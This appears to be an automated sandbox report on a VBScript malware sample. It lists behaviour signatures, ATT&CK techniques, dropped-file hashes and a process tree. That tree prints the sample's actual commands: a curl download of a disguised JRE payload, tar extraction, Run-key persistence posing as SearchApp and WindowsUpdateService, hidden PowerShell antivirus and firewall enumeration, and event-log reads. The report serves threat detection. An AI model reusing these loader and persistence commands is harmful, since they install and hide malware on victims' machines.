993a91711f05462dd1b5ebed9bc75892812d1029d0f40db02ff2145e11fe7d12

Analysis

max time kernel
120s
max time network
122s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 18:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
script.vbs
Size 3KB
Sample260730-wt3ltsvape
SHA256 993a91711f05462dd1b5ebed9bc75892812d1029d0f40db02ff2145e11fe7d12
MD5 436c70c2d01b3af47b056f83ce453502
SHA1 419ea4968bdb5fdcd3957f7024df5203a32365c6
SHA512 986b8c2f9355cc88a9256caa8bd47f4fa383b3102e4419ad778cda07715998b29b6d53e6e19a4f0c930f6580c63d127f5e6776e49901922f3079b235997f258b
TLSH
T1028112AFFE6886305056544651DB9C3EE19607B3BF54C88FC10C6DE42AA4BBBC1A9C86
MD5 SHA1 SHA512 TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
5808	powershell.exe
5516	powershell.exe
2096	powershell.exe
5808	powershell.exe
5516	powershell.exe
2096	powershell.exe

Deletes itself 1 IoCs

pid	Process
3480	WScript.exe

Executes dropped EXE 4 IoCs

pid	Process
2852	SearchApp.exe
408	SearchApp.exe
5092	SearchApp.exe
408	SearchApp.exe

Loads dropped DLL 52 IoCs

pid	Process
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe
408	SearchApp.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\jre\\bin\\SearchApp.exe\" --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\Diagnostics\\SearchApp.jar\""	WScript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\jre\\bin\\SearchApp.exe\" -noverify -Dvanguard.opsec=true --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\System32\\Diagnostics\\SearchApp.jar\""	SearchApp.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	SearchApp.exe

Looks up external IP address via web service 1 TTPs 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	icanhazip.com
1	ifconfig.me
1	ipapi.co
19	icanhazip.com
20	ipapi.co
1	checkip.amazonaws.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3480	WScript.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Prefetch\BACKGROUNDTASKHOST.EXE-104C7847.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-4C0446C5.pf	SearchApp.exe
File opened for modification	C:\Windows\Prefetch\RUNTIMEBROKER.EXE-FC4F7215.pf	SearchApp.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3360	cmd.exe
1668	cmd.exe

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	SearchApp.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
1172	reg.exe
4852	reg.exe
5660	reg.exe
3892	reg.exe
4816	reg.exe
1744	reg.exe
3540	reg.exe

Suspicious behavior: EnumeratesProcesses 27 IoCs

pid	Process
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
2852	SearchApp.exe
5808	powershell.exe
5808	powershell.exe
5808	powershell.exe
5516	powershell.exe
5516	powershell.exe
5516	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe
5092	SearchApp.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	5160	wevtutil.exe
Token: SeBackupPrivilege	5160	wevtutil.exe
Token: SeSecurityPrivilege	2796	wevtutil.exe
Token: SeBackupPrivilege	2796	wevtutil.exe
Token: SeSecurityPrivilege	4588	wevtutil.exe
Token: SeBackupPrivilege	4588	wevtutil.exe
Token: SeDebugPrivilege	2852	SearchApp.exe
Token: SeIncreaseQuotaPrivilege	2852	SearchApp.exe
Token: SeSecurityPrivilege	2852	SearchApp.exe
Token: SeTakeOwnershipPrivilege	2852	SearchApp.exe
Token: SeLoadDriverPrivilege	2852	SearchApp.exe
Token: SeSystemProfilePrivilege	2852	SearchApp.exe
Token: SeSystemtimePrivilege	2852	SearchApp.exe
Token: SeProfSingleProcessPrivilege	2852	SearchApp.exe
Token: SeIncBasePriorityPrivilege	2852	SearchApp.exe
Token: SeCreatePagefilePrivilege	2852	SearchApp.exe
Token: SeBackupPrivilege	2852	SearchApp.exe
Token: SeRestorePrivilege	2852	SearchApp.exe
Token: SeShutdownPrivilege	2852	SearchApp.exe
Token: SeDebugPrivilege	2852	SearchApp.exe
Token: SeSystemEnvironmentPrivilege	2852	SearchApp.exe
Token: SeRemoteShutdownPrivilege	2852	SearchApp.exe
Token: SeUndockPrivilege	2852	SearchApp.exe
Token: SeManageVolumePrivilege	2852	SearchApp.exe
Token: 33	2852	SearchApp.exe
Token: 34	2852	SearchApp.exe
Token: 35	2852	SearchApp.exe
Token: 36	2852	SearchApp.exe
Token: SeIncreaseQuotaPrivilege	2852	SearchApp.exe
Token: SeSecurityPrivilege	2852	SearchApp.exe
Token: SeTakeOwnershipPrivilege	2852	SearchApp.exe
Token: SeLoadDriverPrivilege	2852	SearchApp.exe
Token: SeSystemProfilePrivilege	2852	SearchApp.exe
Token: SeSystemtimePrivilege	2852	SearchApp.exe
Token: SeProfSingleProcessPrivilege	2852	SearchApp.exe
Token: SeIncBasePriorityPrivilege	2852	SearchApp.exe
Token: SeCreatePagefilePrivilege	2852	SearchApp.exe
Token: SeBackupPrivilege	2852	SearchApp.exe
Token: SeRestorePrivilege	2852	SearchApp.exe
Token: SeShutdownPrivilege	2852	SearchApp.exe
Token: SeDebugPrivilege	2852	SearchApp.exe
Token: SeSystemEnvironmentPrivilege	2852	SearchApp.exe
Token: SeRemoteShutdownPrivilege	2852	SearchApp.exe
Token: SeUndockPrivilege	2852	SearchApp.exe
Token: SeManageVolumePrivilege	2852	SearchApp.exe
Token: 33	2852	SearchApp.exe
Token: 34	2852	SearchApp.exe
Token: 35	2852	SearchApp.exe
Token: 36	2852	SearchApp.exe
Token: SeIncreaseQuotaPrivilege	2852	SearchApp.exe
Token: SeSecurityPrivilege	2852	SearchApp.exe
Token: SeTakeOwnershipPrivilege	2852	SearchApp.exe
Token: SeLoadDriverPrivilege	2852	SearchApp.exe
Token: SeSystemProfilePrivilege	2852	SearchApp.exe
Token: SeSystemtimePrivilege	2852	SearchApp.exe
Token: SeProfSingleProcessPrivilege	2852	SearchApp.exe
Token: SeIncBasePriorityPrivilege	2852	SearchApp.exe
Token: SeCreatePagefilePrivilege	2852	SearchApp.exe
Token: SeBackupPrivilege	2852	SearchApp.exe
Token: SeRestorePrivilege	2852	SearchApp.exe
Token: SeShutdownPrivilege	2852	SearchApp.exe
Token: SeDebugPrivilege	2852	SearchApp.exe
Token: SeSystemEnvironmentPrivilege	2852	SearchApp.exe
Token: SeRemoteShutdownPrivilege	2852	SearchApp.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3480 wrote to memory of 3360	3480	WScript.exe	89
PID 3360 wrote to memory of 5140	3360	cmd.exe	91
PID 3480 wrote to memory of 1668	3480	WScript.exe	92
PID 1668 wrote to memory of 4268	1668	cmd.exe	94
PID 3480 wrote to memory of 2852	3480	WScript.exe	95
PID 2852 wrote to memory of 5660	2852	SearchApp.exe	100
PID 2852 wrote to memory of 3892	2852	SearchApp.exe	101
PID 2852 wrote to memory of 5160	2852	SearchApp.exe	103
PID 2852 wrote to memory of 4816	2852	SearchApp.exe	106
PID 2852 wrote to memory of 1744	2852	SearchApp.exe	108
PID 2852 wrote to memory of 2796	2852	SearchApp.exe	109
PID 2852 wrote to memory of 3540	2852	SearchApp.exe	112
PID 2852 wrote to memory of 4588	2852	SearchApp.exe	114
PID 2852 wrote to memory of 5808	2852	SearchApp.exe	116
PID 2852 wrote to memory of 5516	2852	SearchApp.exe	118
PID 2852 wrote to memory of 2096	2852	SearchApp.exe	120
PID 2852 wrote to memory of 1172	2852	SearchApp.exe	122
PID 2852 wrote to memory of 4852	2852	SearchApp.exe	124
PID 2852 wrote to memory of 5092	2852	SearchApp.exe	126
PID 5092 wrote to memory of 408	5092	SearchApp.exe	127

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	7	curl/8.8.0

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
1⤵
- Deletes itself
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -k -f -L -o "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" "https://e90b66f5c6c3eeb113cee5588db54127.r2.cloudflarestorage.com/cdn-assets-neonstriker99/d/691cbe2e-d6bb-484d-8259-5c101c3909c0/jre-payload.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=97696a30a356d8efdcbee2320a0b8933%2F20260728%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20260728T163511Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=44fa8093a6f9e5dfdb3f6b845b13325991e59b1e4c905e8c17af884a6ae92d64"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\system32\curl.exe
    curl -s -k -f -L -o "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" "https://e90b66f5c6c3eeb113cee5588db54127.r2.cloudflarestorage.com/cdn-assets-neonstriker99/d/691cbe2e-d6bb-484d-8259-5c101c3909c0/jre-payload.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=97696a30a356d8efdcbee2320a0b8933%2F20260728%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20260728T163511Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=44fa8093a6f9e5dfdb3f6b845b13325991e59b1e4c905e8c17af884a6ae92d64"
    3⤵
    PID:5140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c tar -xf "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" -C "C:\Users\Admin\AppData\Local\Temp\a1d3baf8"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\91f3be8d.zip" -C "C:\Users\Admin\AppData\Local\Temp\a1d3baf8"
    3⤵
    PID:4268
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Enumerates connected drives
  - Drops file in Windows directory
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2852
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s
    3⤵
    - Modifies registry key
    PID:5660
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    3⤵
    - Modifies registry key
    PID:3892
- - C:\Windows\SYSTEM32\wevtutil.exe
    wevtutil qe Security /c:16 /f:text /rd:true
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5160
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    3⤵
    - Modifies registry key
    PID:4816
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    3⤵
    - Modifies registry key
    PID:1744
- - C:\Windows\SYSTEM32\wevtutil.exe
    wevtutil qe System /c:16 /f:text /rd:true
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2796
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    3⤵
    - Modifies registry key
    PID:3540
- - C:\Windows\SYSTEM32\wevtutil.exe
    wevtutil qe Application /c:16 /f:text /rd:true
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName FirewallProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiSpywareProduct -ErrorAction SilentlyContinue | ForEach-Object { $_.displayName + '|' + $_.productState }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2096
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall /s
    3⤵
    - Modifies registry key
    PID:1172
- - C:\Windows\SYSTEM32\reg.exe
    reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s
    3⤵
    - Modifies registry key
    PID:4852
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" -jar "C:\Users\Admin\AppData\Local\Temp\vg-updater.jar" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\.update-1.8.66.tmp" ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" -noverify --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar"" 2852
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe -noverify --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      PID:408

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\SearchApp.exe" -noverify -Dvanguard.opsec=true --enable-native-access=ALL-UNNAMED --add-opens java.desktop/java.awt=ALL-UNNAMED --add-opens java.desktop/sun.awt=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-modules jdk.httpserver --add-modules jdk.management --add-exports jdk.management/com.sun.management=ALL-UNNAMED -jar "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\Diagnostics\SearchApp.jar"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
MD5 dc6571b4e39d13392bb7f996d9a95ef5
SHA1 a1838cd4f6a2a1ff743489171ba9f83c662362c7
SHA512 5e2582268c12399a5b29751932d896eb47931478bbafa197faf15d26470a589e1892887a85e7061e431ad8163259ee00682e34c167e9ca204ffd33c888a35f63
TLSH
T199219833F3DC8214CC99003A10DDAC1036B6C7CB40DECF9B6B85E159A82F298DF60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3fdf48d8962eac0ce348651b21b65181db7fcf81285b1eb0f425632207576b73
MD5 ec9378a45529ce8aabe85bcf4d71ba24
SHA1 e2adf59ebf5a9e57501d626d73d4e5e2d5be5977
SHA512 54f3600c44f90bef1cd6ffa9000b1c5a3b28ef183a61f2a640727982f5de6df8ee4ee5f41ab50ef99989a41ebc7ecc599ab2254dda948f56b1f7a98a703d6793
TLSH
T1A6214633F3DD8694D899413A10DDAC1036B787DB40DECF9B6B85E169A42F699CF61060
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5y2dfqgl.01j.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5y2dfqgl.01j.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ADDITIONAL_LICENSE_INFO

Path C:\Users\Admin\AppData\Local\Temp\a1d3baf8\jre\legal\java.logging\ADDITIONAL_LICENSE_INFO
Size 49B
SHA256 ebf9777bd307ed789ceabf282a9aca168c391c7f48e15a60939352efb3ea33f9
MD5 19c9d1d2aad61ce9cb8fb7f20ef1ca98
SHA1 2db86ab706d9b73feeb51a904be03b63bee92baf
SHA512 7ec63b59d8f87a42689f544c2e8e7700da5d8720b37b41216cbd1372c47b1bc3b892020f0dd3a44a05f2a7c07471ff484e4165427f1a9cad0d2393840cd94e5b
MD5 SHA1 SHA512

Submit Download

ASSEMBLY_EXCEPTION

Path C:\Users\Admin\AppData\Local\Temp\a1d3baf8\jre\legal\java.logging\ASSEMBLY_EXCEPTION
Size 44B
SHA256 b998cda101e5a1ebcfb5ff9cddd76ed43a2f2169676592d428b7c0d780665f2a
MD5 7caf4cdbb99569deb047c20f1aad47c4
SHA1 24e7497426d27fe3c17774242883ccbed8f54b4d
SHA512 a1435e6f1e4e9285476a0e7bc3b4f645bbafb01b41798a2450390e16b18b242531f346373e01d568f6cc052932a3256e491a65e8b94b118069853f2b0c8cd619
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\a1d3baf8\jre\legal\java.logging\LICENSE
Size 33B
SHA256 86e0516b888276a492b19f9a84f5a866ed36925fae1510b3a94a0b6213e69192
MD5 16989bab922811e28b64ac30449a5d05
SHA1 51ab20e8c19ee570bf6c496ec7346b7cf17bd04a
SHA512 86571f127a6755a7339a9ed06e458c8dc5898e528de89e369a13c183711831af0646474986bae6573bc5155058d5f38348d6bfdeb3fd9318e98e0bf7916e6608
MD5 SHA1 SHA512

Submit Download

vgb_13957604682792534989.dll

Path C:\Users\Admin\AppData\Local\Temp\vgb_13957604682792534989.dll
Size 39KB
SHA256 b3b3c47716167588ebbdaea3d5679b3d75b27e166d40527c35b13c865f2e9bfd
MD5 b22e538c3fe99c9e048078bde90a38f9
SHA1 32f2bd3ceee119e2cf625be43256fde5091b52f0
SHA512 5dbe3b64a5b558fabaf868f4738926e092bdc3dc3f1e3f32f2cc59d00a953057dcff23e01ea48ffb607f14897fe3bc30ef1e138db51f5a1d420655a8569058c7
SSDEEP 384:zHxCVp8foASwxL4hZcjaDqXpA+0wGj8GzflutQK96RxvZn1mGZp:zR84xxLAGGjBzlyQ1p
TLSH
T15F035D447BB08EBEF5FF86765C72E1895631A882AEA1E30B617097C80D237C05666787
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\VCRUNTIME140.dll
Size 117KB
SHA256 02c6aa0e6e624411a9f19b0360a7865ab15908e26024510e5c38a9c08362c35a
MD5 caf9edded91c1f6c0022b278c16679aa
SHA1 4812da5eb86a93fb0adc5bb60a4980ee8b0ad33a
SHA512 32ac84642a9656609c45a6b649b222829be572b5fdeb6d5d93acea203e02816cf6c06063334470e8106871bdc9f2f3c7f0d1d3e554da1832ba1490f644e18362
SSDEEP 1536:dI2v39UXigCBs29DdxfggO6vMMKZsY2ofRjoecbdhUwdJTzmZhTzC:diwskD8B6vMMEs5oGecbd2wHT0Te
TLSH
T1FBC38C4672A042FBD16AC274C1E35E17FB75B84487A0A7CF03A58A690F53BE09E3D385
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extnet.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\extnet.dll
Size 24KB
SHA256 5f04005112b6cad4d47d34154b5649c3266312aa278ee8d13fdd705e7b3e06ca
MD5 f504cc5b65412fb9bfeca7e57f6f6456
SHA1 b48b6d2a31331a697b88e724790cec0f32ef8df9
SHA512 e27632869ae19436692eb1985f616dc8d339bbbb7bc25b6f50087fd1d25b45af7acd14c86bb26b885803219e1499a5a061df334d30ad03d55eeeae1de4913f9e
SSDEEP 384:ZyBUCc9mlDLAGrPc5GVteMtNyEIYi2mL4/y8RFvIIvZ5prK98:fIdm5G2hYiDLk5kIv
TLSH
T190B29F4BCAE00CCDE8375970A0662627EDB6B2501B92D3EF1354C01A0FB53523F9EB95
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

java.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\System32\jre\bin\java.dll
Size 114KB
SHA256 abae7d202f5093755eabe153984e8053a666dcaab913f61737d80076cd35df3a
MD5 dc93b93d2c486b790021e85a56b1425c
SHA1 09195a2e600f9e4ea1dc57f9ec2eacc5e696509b
SHA512 6c7708112747e7433c604d616c926aa0ab5d8505ddff5a8bc800a9c6d1216a8b743ee384239fd387efcd1764c3b8e203fb48ada545735d2615144e670dfeb534
SSDEEP 3072:ihkdkKVjreez1MyHtEQD30+ayNGEf8JSrZU69s/2gFMOuxF/n+v:aUkKVjaez1fv0WO
TLSH
T127B34B1B77298085F46AAABC80669D0BD372B4B01341E74E03E6CA9E9F8F7723D05795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

